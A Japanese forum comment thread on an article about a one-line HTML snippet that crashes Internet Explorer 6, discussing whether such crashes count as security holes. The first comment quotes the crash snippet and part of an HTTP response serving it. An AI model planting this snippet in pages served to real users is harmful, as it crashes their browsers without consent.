「IE6を一行でクラッシュさせるコード」記事へのコメント

酷い奴だな

[chanbaba (13080)]

><style>*{position:relative}</style><table><input></table>

と書いてあるけど、サンプルは

>HTTP/1.1 200 OK
>Date: Mon, 06 Aug 2007 21:55:50 GMT
>Server: Apache
>Last-Modified: Sat, 04 Aug 2007 14:04:03 GMT
>ETag: "728045-88-46b48753"
>Accept-Ranges: bytes
>Content-Length: 136
>Proxy-Connection: close
>Connection: close
>Content-Type: text/html
>
><!--
> Easy IE Crash by Hamachiya2 (http://hamachiya.com/junk/ie_crash.html)
>-->
>
><sty

Re:酷い奴だな

[Anonymous Coward]

MSは任意コード実行ではない単なるクラッシュは「安定性の問題」扱いです。

Re:酷い奴だな

[Anonymous Coward]

危険なセキュリティホールか単なるバグかは、ソフト作ってる側か、逆汗してコード解析
するようなレベルの人じゃないとまず分からないし、そういうレベルの人でもたまに
間違える。

過去にも、単なるブラクラでセキュリティホールではない、と思われていたバグが、
実は任意コード実行可能なセキュリティホールだった、ということが何度かあったから、
騒ぎすぎるのも問題だが、門前払いも問題だと思う。